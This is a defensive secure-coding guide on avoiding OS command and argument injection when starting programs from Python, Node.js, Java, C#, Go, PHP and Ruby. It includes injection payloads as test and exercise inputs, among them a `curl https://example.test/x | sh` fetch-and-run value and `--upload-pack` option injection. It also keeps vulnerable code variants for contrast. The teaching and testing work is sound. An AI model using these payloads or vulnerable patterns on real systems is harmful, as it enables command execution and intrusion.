---
key: "os-command-injection"
title: "Run external programs without command or argument injection"
url: "https://softwaresecurity.com/domains/appsec/secure-coding/os-command-injection/"
api: "https://softwaresecurity.com/api/v1/articles/os-command-injection.json"
domain: "appsec"
topic: "Application security"
type: "Guide"
identifiers: ["CWE-78","CWE-77","CWE-88","A05:2025","V1.2.5","V1.2.8","V2.2.1","CAPEC-88","CAPEC-6","CAPEC-248","WSTG-INPV-12"]
tags: ["Injection","Input validation and parsing"]
stages: ["build"]
roles: ["developer"]
license: "CC-BY-4.0"
license_url: "https://creativecommons.org/licenses/by/4.0/"
code_license: "MIT"
---

# Run external programs without command or argument injection

Run programs from an argument list with no shell, end options before user values, and keep untrusted arguments away from Windows batch files.

Canonical URL: https://softwaresecurity.com/domains/appsec/secure-coding/os-command-injection/

## In short

Never give a shell a string built from input. Start the program with an argument array: `subprocess.run([...])`, `execFile`, `new ProcessBuilder(List.of(...))`, `ProcessStartInfo.ArgumentList`, `exec.Command`, `proc_open([...])` or `system(cmd, *args)`. Let users pick values from an allowlist instead of writing arguments, reject values that start with `-`, and put `--` (Git's `--end-of-options`) before them, because an argument array still lets a value act as an option. Run an absolute executable path with an explicit minimal environment, a timeout, an output cap and the least privilege you can. On Windows, never pass untrusted arguments to a `.bat` or `.cmd` file. Better still, call a library and start no program at all.

- With no shell there is no shell injection: an argument array reaches the program as separate strings, so `;`, `|`, `$( )` and backticks stay ordinary characters.
- An argument array does not stop argument injection (CWE-88): `--output=<file>` or `--upload-pack=<command>` is still an option to the program that receives it.
- `--` ends options for programs that follow the POSIX utility guidelines; Git commands that use `--` to separate revisions from paths need `--end-of-options` (Git 2.24 and later).
- Quoting helpers such as `shlex.quote` and `escapeshellarg` fix one argument for one shell; they are a fallback, not a design, and PHP's `escapeshellcmd` still lets an attacker add arguments.
- Choose the executable and the environment yourself: an absolute path, a fixed `PATH`, and no inherited `LD_PRELOAD`, `NODE_OPTIONS` or secrets.
- Windows has no argument array: every runtime rebuilds one command line, and `cmd.exe` parses batch-file arguments by its own rules, which led to the 2024 BatBadBut fixes in Rust, Node.js and PHP.

## Recommended defaults

| Setting | Value | Note | Source |
| --- | --- | --- | --- |
| Process API | Argument array with no shell | `shell=True`, `os.system`, `child_process.exec`, `shell: true`, `Runtime.exec(String)`, `sh -c`, `shell_exec` and Ruby backticks are findings unless the command is a constant. | Node.js child_process docs; Python subprocess docs |
| User-supplied operands | After `--`; after `--end-of-options` for Git | Also reject values that start with `-`, so a program that ignores `--` is still safe. | POSIX.1-2024 XBD 12.2 guideline 10; gitcli |
| Values that select behavior | Allowlist that maps a choice to fixed arguments | Users pick `format=png`; the code supplies the flag. Never accept free-form flags. | OWASP OS Command Injection Defense Cheat Sheet |
| Executable | Absolute path, resolved once at startup | No lookup through a request-time or inherited `PATH`, and never the current directory. | Python subprocess docs; Go os/exec |
| Child environment | Explicit map, for example `PATH=/usr/bin:/bin` and a locale | Inheriting by default passes secrets and loader variables to the child. | Go os/exec (nil Env inherits); Node.js child_process docs |
| Time and output | Timeout of seconds, output cap of about 1 MiB, kill on expiry | Node.js has `timeout` and `maxBuffer`; elsewhere bound the read and kill the process. | Node.js child_process docs |
| Windows batch files | Never with untrusted arguments | And run at least Rust 1.77.2, Node.js 18.20.4, 20.15.1 or 22.4.1, PHP 8.1.29, 8.2.20 or 8.3.8, or any later release. | CERT/CC VU#123335; vendor advisories |
| Privilege | A dedicated low-privilege account or container per task | Limits what a missed injection can reach. | OWASP OS Command Injection Defense Cheat Sheet |

## Verify it

1. Search the code for `shell=True`, `os.system`, `os.popen`, `child_process.exec`, `shell: true`, `Runtime.exec(`, `"sh", "-c"`, `cmd /c`, `shell_exec`, `passthru`, backticks and `%x(`, and confirm each remaining call takes only constants.
2. Run your SAST tool's command-injection rules (for CodeQL, the queries named in this guide) and resolve or document every result.
3. For each call site, add a test that sends `x; touch <marker>`, `$(touch <marker>)` and `--output=<marker>` (or the program's own dangerous option) and asserts the request is rejected and the marker does not exist; keep a vulnerable variant so the test can fail.
4. In a test environment, log each child's argument vector and confirm user values appear as single elements after `--` or `--end-of-options`.
5. Inspect a child's environment (`/proc/<pid>/environ` on Linux, or a test program that prints it) and confirm only the variables you set are present.
6. On Windows builds, confirm no `.bat` or `.cmd` file receives request data, and that the runtime is at or above the fixed releases in the table.

## What you will learn

- Replace shell calls with argument arrays in seven languages, and explain why that alone does not stop argument injection.
- End option parsing correctly, including Git commands where `--` means something else.
- Control the executable, environment, time and output of child processes, and handle Windows batch files.
- Write a regression test that proves an injection payload runs nothing.

Audience: Backend developers who start other programs from application code, and reviewers who triage command-injection findings.

Before you start:

- Read a shell command line and know what `;`, `|` and `$( )` do.
- For the examples: Git, and the runtime of the language you pick; Docker for Go, PHP and Ruby.

Time: About 50 minutes: 20 to read, 10 to run one language example and 20 for the exercise

## The shell is what turns data into commands

OS command injection (CWE-78) happens when part of a command line comes from input and a command interpreter parses it. `os.system`, `subprocess.run(..., shell=True)`, `child_process.exec`, PHP's `shell_exec` and Ruby's backticks all pass one string to `/bin/sh -c` (or `cmd.exe /c` on Windows). The shell then gives meaning to `;`, `&&`, `|`, `$( )`, backticks, redirections, globs and quotes, so a value such as `HEAD; touch /tmp/x` becomes two commands. The command runs with the application's privileges and environment, which usually means its credentials too.

Escaping the value for the shell can work, but it is fragile: the rules differ between `sh`, `bash` and `cmd.exe`, a value used twice may need escaping twice, and one forgotten call site undoes the rest. The robust fix removes the parser. Every mainstream language can start a program directly with an argument array, which the operating system passes to the program as separate strings that nothing re-parses on Linux and macOS.

The first question in a review is whether you need a program at all. An image library, an archive library, a Git library or a database driver does the work in-process with typed parameters and no command line. The OWASP OS Command Injection Defense Cheat Sheet makes this its primary defense. When you do need a program, the rest of this guide applies to every call. The Python listing below shows the vulnerable form next to the fixed one.

## Use the argument-array API in every language

Each runtime has a shell form and an argument-array form. Treat the left column as a finding unless the whole command is a constant, and move to the right column. The argument-array forms do not search for or start a shell, so metacharacters in a value reach the program as literal text. They still resolve the executable through `PATH` unless you give an absolute path, which the environment section covers.

| Language | Shell form (avoid with input) | Argument-array form | Notes |
| --- | --- | --- | --- |
| Python | `os.system`, `os.popen`, `subprocess.run(str, shell=True)` | `subprocess.run([prog, arg, ...])` (the default `shell=False`) | `shlex.quote` escapes for POSIX shells only; it does not help on Windows. |
| Node.js | `exec`, `execSync`, any call with `shell: true` | `execFile`, `spawn`, `execFileSync` with an args array | With `shell: true`, an `args` array is only joined with spaces, not escaped; DEP0190 deprecates it, at runtime since Node.js 24. |
| Java | `Runtime.exec(String)`, `new ProcessBuilder("sh", "-c", cmd)` | `new ProcessBuilder(List.of(prog, arg, ...))`, `Runtime.exec(String[])` | `Runtime.exec(String)` splits on whitespace with `StringTokenizer`; it is deprecated since Java 18. |
| C# (.NET) | `ProcessStartInfo.Arguments` built from input; `/bin/sh -c`; `cmd.exe /c` | `ProcessStartInfo.ArgumentList` with `UseShellExecute = false` (the default on .NET Core and later) | `ArgumentList` escapes each element; never combine it with `Arguments`. |
| Go | `exec.Command("sh", "-c", cmd)` | `exec.CommandContext(ctx, prog, args...)` | os/exec never invokes a shell or expands globs on its own. |
| PHP | `exec`, `system`, `passthru`, `shell_exec`, backticks, `proc_open(string)` | `proc_open([prog, arg, ...], ...)` (PHP 7.4 and later) | `escapeshellcmd` still lets an attacker add arguments; `escapeshellarg` is the per-argument fallback. |
| Ruby | Backticks, `%x()`, `system(string)`, `Open3.capture2(string)` | `system(prog, arg, ...)`, `Open3.capture2(prog, arg, ...)` | A single string goes to the shell when it contains metacharacters; separate arguments never do. |

## Python: subprocess with a list, a pattern and --end-of-options

The fixed function below shows every control in this guide in one call: a value that must match a strict pattern, an absolute executable, `--end-of-options` and a trailing `--` so Git reads the value only as a revision, an explicit environment, a timeout and no `shell=True`. The middle function is the trap: it uses a list, so `;` is harmless, yet `--output=<file>` still makes Git write a file. The tests in the next section prove all three behaviors.

```python
import re
import shutil
import subprocess

# Resolve the program once, at startup, from a fixed search path.
GIT = shutil.which("git", path="/usr/bin:/bin")
if GIT is None:
    raise RuntimeError("git not found in /usr/bin or /bin")

# A branch, tag or commit: no leading dash, no whitespace or shell syntax.
REV = re.compile(r"[A-Za-z0-9][A-Za-z0-9._/-]{0,99}")
CHILD_ENV = {"PATH": "/usr/bin:/bin", "LANG": "C.UTF-8", "GIT_TERMINAL_PROMPT": "0"}

def history_argv_only(repo: str, rev: str) -> str:
    # No shell, but rev can still be read as an option such as --output=<file>.
    return subprocess.run(
        [GIT, "-C", repo, "log", "--oneline", rev], capture_output=True, text=True
    ).stdout


def history(repo: str, rev: str) -> str:
    if not REV.fullmatch(rev):
        raise ValueError("invalid revision")
    result = subprocess.run(
        # --end-of-options: everything after it is a revision, never an option (Git 2.24+).
        # The trailing -- stops Git reading rev as a path.
        [GIT, "-C", repo, "log", "--oneline", "-n", "50", "--end-of-options", rev, "--"],
        capture_output=True,
        text=True,
        env=CHILD_ENV,
        timeout=10,
        check=False,
    )
    if result.returncode != 0:
        raise LookupError("unknown revision")
    return result.stdout
```

## Prove it with a test that watches for side effects

A command-injection test must check what happened, not what was returned: send payloads that would create a marker file, then assert that the file does not exist. Use one payload per class: command chaining (`; touch`), substitution (`$(touch ...)`) and an option-shaped value (`--output=`). Keep the vulnerable variant in the suite so you know the test can fail. Run it with `python3 -m unittest -v test_history`; all six tests pass on Python 3.14.8 with Git 2.54.0.

```python
class HistoryTest(unittest.TestCase):
    def setUp(self):
        self.tmp, self.repo = make_repo()
        self.marker = os.path.join(self.tmp, "pwned")

    def test_vulnerable_runs_injected_command(self):
        history.history_vulnerable(self.repo, f"HEAD; touch {self.marker}")
        self.assertTrue(os.path.exists(self.marker))

    def test_argv_without_end_of_options_still_takes_an_option(self):
        history.history_argv_only(self.repo, f"--output={self.marker}")
        self.assertTrue(os.path.exists(self.marker))

    def test_fixed_rejects_shell_syntax(self):
        with self.assertRaises(ValueError):
            history.history(self.repo, f"HEAD; touch {self.marker}")
        self.assertFalse(os.path.exists(self.marker))

    def test_fixed_rejects_option_injection(self):
        with self.assertRaises(ValueError):
            history.history(self.repo, f"--output={self.marker}")
        self.assertFalse(os.path.exists(self.marker))

    def test_end_of_options_treats_dash_value_as_revision(self):
        # Even without the pattern check, --end-of-options makes Git refuse it as a revision.
        result = subprocess.run(
            [history.GIT, "-C", self.repo, "log", "--end-of-options", f"--output={self.marker}", "--"],
            capture_output=True, text=True,
        )
        self.assertNotEqual(result.returncode, 0)
        self.assertFalse(os.path.exists(self.marker))

    def test_fixed_returns_history(self):
        self.assertIn("first commit", history.history(self.repo, "HEAD"))


if __name__ == "__main__":
    unittest.main()
```

## An argument array still lets a value become an option

Argument injection (CWE-88) needs no shell. Most programs treat any argument that starts with `-` as an option, and many options run commands, write files or read configuration. CodeQL's `js/second-order-command-line-injection` query describes the classic case: `git ls-remote` with a user-supplied URL that starts with `--upload-pack` runs an arbitrary command, even through `execFile` with an array. The ruby-git gem had the same flaw in `fetch` (CVE-2022-25648, fixed in 1.11.0), where the remote name could add flags to `git fetch`.

Three controls work together. First, reject values that start with `-` and, better, match the whole value against what it should be: a revision name, a numeric ID, an `https://` URL. Second, end option parsing before the first user value: POSIX.1-2024 utility syntax guideline 10 says the first `--` marks the end of options and later arguments are operands even if they begin with `-`. Third, know the program. Git uses `--` to separate revisions from paths in commands such as `log` and `diff`, so there `--` before a revision changes its meaning; Git 2.24 added `--end-of-options` for this, and it acts as plain `--` in commands that have no such distinction. Programs that parse arguments by hand may ignore `--` altogether, which is why the pattern check comes first.

Even after `--`, an operand keeps its meaning to the program. The OWASP cheat sheet points out that every argument after `--` is still a URL to `curl`, so it still fetches whatever the value names; validate the destination as you would for any server-side request (/domains/appsec/secure-features/ssrf-egress-boundaries/). File operands have the same issue: pass a path the server generated, or prefix relative names with `./` so a name such as `-rf` cannot be read as options by a program that ignores `--`.

| Program | Options that turn a value into code or file writes | Safe pattern |
| --- | --- | --- |
| git | `--upload-pack=<cmd>` (ls-remote, clone, fetch), `--output=<file>` (log, diff), `-c core.sshCommand=<cmd>` | Validate the URL or revision, then `--end-of-options` before it |
| ssh | `-oProxyCommand=<cmd>`, and a host value that starts with `-` | Validate the host name, put `--` before the destination |
| tar (GNU) | `--checkpoint-action=exec=<cmd>`, `--to-command=<cmd>` | Server-generated archive and directory paths after `--` |
| curl | `-o <file>` writes anywhere, `-K <file>` reads options from a file | One validated URL, `--globoff`, SSRF controls on the destination |
| find | `-exec <cmd> ;`, `-delete`, `-fprint <file>` | Fixed expressions; a user value only as a quoted name pattern argument |

## Node.js: execFile with an array and limits

`exec` and `execSync` always start a shell; the Node.js documentation says never to pass them unsanitized input. `execFile` and `spawn` start the program directly unless you set `shell: true`. When `options.env` is set, Node.js looks the program up through `options.env.PATH`, and with no `PATH` in that object Unix lookup falls back to `/usr/bin:/bin`; an absolute path avoids lookup altogether. `timeout` kills the child when it expires, and `maxBuffer` (1 MiB by default for `execFile`) bounds what it can return. Run the tests with `node --test`; all four pass on Node.js 26.11.1.

```js
import {exec, execFile} from 'node:child_process';
import {promisify} from 'node:util';

const execAsync = promisify(exec);
const execFileAsync = promisify(execFile);

const GIT = '/usr/bin/git'; // absolute: no PATH lookup
const REV = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,99}$/;
const CHILD_ENV = {PATH: '/usr/bin:/bin', LANG: 'C.UTF-8', GIT_TERMINAL_PROMPT: '0'};

// Vulnerable: exec() hands the whole string to /bin/sh.
export async function historyVulnerable(repo, rev) {
  const {stdout} = await execAsync(`git -C ${repo} log --oneline ${rev}`);
  return stdout;
}

export async function history(repo, rev) {
  if (!REV.test(rev)) throw new Error('invalid revision');
  // execFile() runs git directly with an argument array; no shell is involved.
  const {stdout} = await execFileAsync(
    GIT,
    ['-C', repo, 'log', '--oneline', '-n', '50', '--end-of-options', rev, '--'],
    {env: CHILD_ENV, timeout: 10_000, maxBuffer: 1024 * 1024},
  );
  return stdout;
}
```

## Java: ProcessBuilder with a list and a cleared environment

`Runtime.exec(String)` does not start a shell; it splits the string on whitespace with `StringTokenizer`, so a value with a space becomes extra arguments, and it has been deprecated since Java 18. The usual mistake is worse: `new ProcessBuilder("/bin/sh", "-c", cmd)` brings the shell back. Build the command from a `List`, clear `environment()` and add only what the child needs, read a bounded amount of output and wait with a timeout. Compile and run `HistoryTest` with `javac -d out History.java HistoryTest.java && java -cp out HistoryTest`; all four checks pass on OpenJDK 21.0.12.

```java
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;

final class History {
  private static final String GIT = "/usr/bin/git"; // absolute: no PATH lookup
  private static final Pattern REV = Pattern.compile("[A-Za-z0-9][A-Za-z0-9._/-]{0,99}");
  static String history(Path repo, String rev) throws IOException, InterruptedException {
    if (!REV.matcher(rev).matches()) throw new IllegalArgumentException("invalid revision");
    ProcessBuilder pb = new ProcessBuilder(List.of(
        GIT, "-C", repo.toString(), "log", "--oneline", "-n", "50", "--end-of-options", rev, "--"));
    Map<String, String> env = pb.environment();
    env.clear(); // start from nothing, then add only what git needs
    env.put("PATH", "/usr/bin:/bin");
    env.put("LANG", "C.UTF-8");
    env.put("GIT_TERMINAL_PROMPT", "0");
    pb.redirectError(ProcessBuilder.Redirect.DISCARD);
    Process p = pb.start();
    // Read a bounded amount of output: at most 1 MiB.
    byte[] out = p.getInputStream().readNBytes(1 << 20);
    if (!p.waitFor(10, TimeUnit.SECONDS)) {
      p.destroyForcibly();
      throw new IOException("git timed out");
    }
    if (p.exitValue() != 0) throw new IllegalArgumentException("unknown revision");
    return new String(out, StandardCharsets.UTF_8);
  }
}
```

## C#: ProcessStartInfo.ArgumentList, never an Arguments string

`ProcessStartInfo.Arguments` is one string that the child parses, so a quote in a value can split it into extra arguments. `ArgumentList` takes each argument separately and escapes it; Microsoft's documentation says only one of the two may be used. `UseShellExecute` defaults to `false` on .NET Core and .NET 5 and later (it was `true` on .NET Framework), and in that mode the process starts directly from the executable. Clear `Environment` before adding variables, and kill the process tree on timeout. `dotnet run` runs the checks; all five pass on the .NET 10.0.112 SDK.

```csharp
using System.Diagnostics;
using System.Text.RegularExpressions;

static partial class History
{
    const string Git = "/usr/bin/git"; // absolute: no PATH lookup

    [GeneratedRegex("^[A-Za-z0-9][A-Za-z0-9._/-]{0,99}$")]
    private static partial Regex Rev();
    public static async Task<string> HistoryAsync(string repo, string rev)
    {
        if (!Rev().IsMatch(rev)) throw new ArgumentException("invalid revision", nameof(rev));
        var psi = new ProcessStartInfo(Git)
        {
            RedirectStandardOutput = true,
            RedirectStandardError = true,
            UseShellExecute = false,
        };
        // ArgumentList escapes each element; never build the Arguments string from input.
        foreach (var arg in new[] { "-C", repo, "log", "--oneline", "-n", "50", "--end-of-options", rev, "--" })
            psi.ArgumentList.Add(arg);
        psi.Environment.Clear();
        psi.Environment["PATH"] = "/usr/bin:/bin";
        psi.Environment["LANG"] = "C.UTF-8";
        psi.Environment["GIT_TERMINAL_PROMPT"] = "0";

        using var p = Process.Start(psi)!;
        using var cts = new CancellationTokenSource(TimeSpan.FromSeconds(10));
        var stdout = p.StandardOutput.ReadToEndAsync(cts.Token);
        var stderr = p.StandardError.ReadToEndAsync(cts.Token);
        try { await p.WaitForExitAsync(cts.Token); }
        catch (OperationCanceledException) { p.Kill(entireProcessTree: true); throw new TimeoutException("git timed out"); }
        await stderr;
        if (p.ExitCode != 0) throw new ArgumentException("unknown revision", nameof(rev));
        return await stdout;
    }
}
```

## Go: exec.CommandContext with an explicit Env

Go's os/exec intentionally does not invoke the system shell or expand globs, so the only shell in a Go program is one you start with `sh -c`. Two details matter. A nil `Cmd.Env` gives the child the parent's whole environment, so set it. And since Go 1.19, `exec.Command` and `LookPath` no longer resolve a program through an implicit or explicit `.` entry in `PATH`; they return an error wrapping `exec.ErrDot` instead (`GODEBUG=execerrdot=0` restores the old behavior, so don't set it). The Go version of the example, `exec.CommandContext(ctx, "/usr/bin/git", "-C", repo, "log", "--oneline", "-n", "50", "--end-of-options", r, "--")` with `cmd.Env` set, passed its tests in `golang:1.27.2-trixie` with `--network=none`.

## Choose the executable, environment and working directory

An argument array decides how arguments are split, not which program runs or what it inherits. Resolve the executable once at startup from a fixed directory, or configure an absolute path; the Python documentation recommends a fully qualified path for maximum reliability and notes that lookup rules differ by platform. Never let a request choose the program, and never search the current directory: on Windows, `CreateProcess` looks in the application's directory and the parent's current directory before `PATH` when the name has no directory.

Pass the child an explicit environment. By default most APIs copy the parent's variables, which hands database passwords and cloud credentials to every tool you start, and lets anyone who can set a variable change what the child loads: `LD_PRELOAD` and `LD_LIBRARY_PATH` for the dynamic loader, `NODE_OPTIONS` for Node.js, `PYTHONPATH` for Python, `BASH_ENV` for non-interactive bash, and `GIT_SSH_COMMAND` or `GIT_CONFIG_*` for Git. Set `PATH` to fixed system directories, add the locale and only the variables the tool documents that it needs.

Set the working directory to a directory the application owns, give every call a timeout and an output limit, and kill the whole process tree when the timeout fires. Run tools that handle untrusted files as a separate low-privilege user or in a container with no network; the guide on untrusted documents (/domains/appsec/secure-features/untrusted-document-conversion/) shows the container flags.

## Windows: batch files reparse their arguments (BatBadBut)

Windows has no argument array at the system level: `CreateProcess` takes one command-line string, and each program splits it itself. Runtimes therefore rebuild a string from your array, quoting it the way the Microsoft C runtime parses arguments, which PHP's documentation states for `proc_open` arrays. Batch files break that assumption. `CreateProcess` cannot run a `.bat` or `.cmd` file directly, so it is run by `cmd.exe`, which applies its own parsing rules to the arguments.

In April 2024 CERT/CC published VU#123335: several language runtimes did not escape arguments correctly when the target was a batch file, so an argument could run commands even when the application used the argument-array API with the shell off. CERT/CC credits the report to RyotaK; Node.js's July 2024 advisory calls the issue BatBadBut. The CVE records and vendor advisories establish the fixes in the table. CERT/CC lists Go as not affected and records Erlang's statement that `open_port` with `spawn` must not get untrusted input; Python documents that batch files may be parsed by the shell without escaping.

The safe rule is simpler than any escaping: never pass untrusted arguments to a batch file. Replace the batch file with an executable, or pass data through a file or standard input that the script reads as data. Rust's fix shows the right failure mode: `Command` now returns an `InvalidInput` error when it cannot escape an argument safely, instead of guessing. Also give the extension explicitly, because a program name without one may resolve to a `.bat` or `.cmd` file.

| Runtime | Advisory | Fixed in | What changed |
| --- | --- | --- | --- |
| Rust | CVE-2024-24576 | 1.77.2 | `Command` escapes batch-file arguments more thoroughly and returns `InvalidInput` when it cannot escape one safely. |
| Node.js | CVE-2024-27980 | 18.20.2, 20.12.2, 21.7.3 (10 April 2024) | `spawn` and `spawnSync` throw `EINVAL` for a `.bat` or `.cmd` file unless `shell: true` is set. |
| Node.js | CVE-2024-36138 (incomplete fix) | 18.20.4, 20.15.1, 22.4.1 (8 July 2024) | Covers batch files reached through every extension. |
| PHP | CVE-2024-1874 | 8.1.28, 8.2.18, 8.3.5 | Escaping of `proc_open` array arguments on Windows. |
| PHP | CVE-2024-5585 (incomplete fix) | 8.1.29, 8.2.20, 8.3.8 | The fix also applies when the command name has trailing spaces. |
| Haskell process | CVE-2024-3566, HSEC-2024-0003 | process 1.6.19.0 | Listed as affected and fixed in VU#123335. |

## Map choices to fixed arguments with an allowlist

Most features that start a program need a few choices from the user, not a free-form argument. Model them as an enumeration and map each choice to arguments the code owns: a request asks for `format=webp`, and the code adds `-quality 80 -format webp`. A value outside the map is rejected before any process starts. ASVS 5.0 V2.2.1 asks for exactly this positive validation, against an allowlist of values or an expected structure.

For identifiers and names, use a strict pattern anchored at both ends, with a length limit and no leading dash, like the revision pattern above, or better, look the identifier up and use the server's own path or ID for it. The OWASP cheat sheet's example pattern, `^[a-z0-9]{3,10}$`, shows the shape: no metacharacters, no spaces and a bounded length. A blocklist of characters such as `;` and `|` is not a fix: it misses newlines, `$( )`, `%` on Windows and option injection entirely.

ASVS 5.0 also names a related case in V1.2.8: LaTeX processors must not run with `--shell-escape`, because `\write18` would let a document run commands. The same thinking applies to any tool with a scripting or plug-in feature, such as ImageMagick delegates or Ghostscript: switch the feature off in its configuration as well as controlling its arguments.

## Find the remaining call sites

Search for the shell forms in the table, then confirm each takes only constants. Static analysis follows data from requests into process APIs: CodeQL's queries are `py/command-line-injection`, `js/command-line-injection` with `js/second-order-command-line-injection` for argument injection, `java/command-line-injection`, `cs/command-line-injection`, `go/command-injection` and `rb/command-line-injection`. Triage each result as the workflow at /domains/appsec/testing/sast-dast-workflow/ describes, and turn each confirmed one into a regression test like the one above.

The tested fix cards at /fix/command-injection/ show the same fix in six stacks (Express, Flask, Spring Boot, ASP.NET Core, Next.js and Go), each with a vulnerable, a fixed and a plausible wrong version and the tests that tell them apart. Shell injection in CI is a different sink: a GitHub Actions expression such as `${{ github.event.issue.title }}` inside a `run:` script is pasted into the shell before it runs; see /domains/supply-chain/ci-cd/github-actions-hardening/. When the input is code rather than a command, as in `eval` or a template compiled from a string, read /domains/appsec/secure-coding/code-template-injection/.

## Pitfalls



- Retrying with `shell=True` when the argument-array call fails: the fallback brings back the injection.
- Building the array by splitting a string, such as `cmd.split(" ")`: a value with a space becomes extra arguments, which is argument injection again.
- Putting `--` before a Git revision: Git reads what follows as paths. Use `--end-of-options`.
- Validating a value and then passing a different, decoded or normalised copy of it to the process.
- Calling `sh -c` with a constant script and the value as `$1`: safe only if the script quotes `"$1"` everywhere, and easy to break in an edit; prefer no shell.
- Logging the full command line with secrets in it, or returning the tool's stderr to the client, which can leak paths and versions.
- Assuming a container makes injection harmless: the process still has the application's credentials and network unless you removed them.

## Guided practice

A code review turned up four places where a service starts other programs. For each, decide whether request data can run a command or add an option, name the weakness (CWE-78 or CWE-88) and write the fix.

### Supplied material

```text
S1 Python, Linux. folder comes from the request.
    subprocess.run(f"zip -r /tmp/export.zip {folder}", shell=True)

S2 Node.js, Linux. remote comes from a "mirror this repository" form.
    execFile('git', ['ls-remote', remote])

S3 Java, Linux. host comes from a "check connectivity" form.
    Runtime.getRuntime().exec("ping -c 1 " + host);

S4 Node.js 22.4.1, Windows. user is the display name of the signed-in user.
    spawn('C:\\tools\\report.bat', [user], { shell: true })
```

### 1. S1: the shell form

Decide what `folder=docs; curl https://example.test/x | sh` does, and rewrite the call.

Worked answer: CWE-78: the shell runs the second command. Use `subprocess.run(["/usr/bin/zip", "-r", "/tmp/export.zip", "--", folder_path])` with `folder_path` from the server's own map of folders.

### 2. S2: no shell, still exploitable

Decide whether `remote=--upload-pack=touch /tmp/x` is a problem with `execFile`.

Worked answer: Yes, CWE-88: Git reads `--upload-pack` as an option and runs the command. Accept only `https://` URLs with an allowed host, then call `execFile(GIT, ["ls-remote", "--end-of-options", remote])`.

### 3. S3: Runtime.exec with a string

Explain what happens to `host=example.test; id` and to `host=-i 0.2 example.test`.

Worked answer: No shell runs, so `;` does nothing, but `StringTokenizer` splits on whitespace, so the second value adds a `-i` option (CWE-88). Validate the host and use `new ProcessBuilder(List.of("/usr/bin/ping", "-c", "1", "--", host))`.

### 4. S4: a batch file on Windows

Explain why a display name such as `x" & calc & "` is dangerous here, and what to change.

Worked answer: CWE-78: with `shell: true`, Node.js joins `args` with spaces without escaping (DEP0190) and `cmd.exe` parses the result, so `&` starts another command; since CVE-2024-27980 a `.bat` cannot be spawned without `shell: true`. Pass the data in a file the script reads, or replace the script with an executable.

Deliverable: A table of S1 to S4 with the weakness, a one-line fix and the regression test payload for each.

Scope: Paper exercise. Run the payloads only against a local copy you own, with marker files rather than destructive commands; S4 needs a Windows host to reproduce.

Articles and teaching material: CC BY 4.0. Original executable code: MIT. Attribution: Software Security.

## Sources

- [OWASP OS Command Injection Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
- [OWASP WSTG: Testing for Command Injection (WSTG-INPV-12)](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection). Version 4.2.
- [OWASP ASVS 5.0.0: V1 Encoding and Sanitization](https://github.com/OWASP/ASVS/blob/v5.0.0_release/5.0/en/0x10-V1-Encoding-and-Sanitization.md). Version 5.0.0.
- [The Open Group Base Specifications: 12.2 Utility Syntax Guidelines](https://pubs.opengroup.org/onlinepubs/9799919799/basedefs/V1_chap12.html). POSIX.1-2024 (IEEE Std 1003.1-2024).
- [Python documentation: subprocess, Security Considerations](https://docs.python.org/3/library/subprocess.html#security-considerations). Python 3 documentation.
- [Node.js documentation: Child process](https://nodejs.org/api/child_process.html). Node.js v26.11.1.
- [PHP manual: proc_open](https://www.php.net/manual/en/function.proc-open.php)
- [CERT/CC VU#123335: Multiple programming languages fail to escape arguments properly in Microsoft Windows](https://kb.cert.org/vuls/id/123335). Revision 8, 13 May 2024.
- [Rust blog: Security advisory for the standard library (CVE-2024-24576)](https://blog.rust-lang.org/2024/04/09/cve-2024-24576/). 9 April 2024.
- [Node.js: Wednesday, April 10, 2024 Security Releases (CVE-2024-27980)](https://nodejs.org/en/blog/vulnerability/april-2024-security-releases-2). April 2024.
- [Node.js: Monday, July 8, 2024 Security Releases (CVE-2024-36138)](https://nodejs.org/en/blog/vulnerability/july-2024-security-releases). July 2024.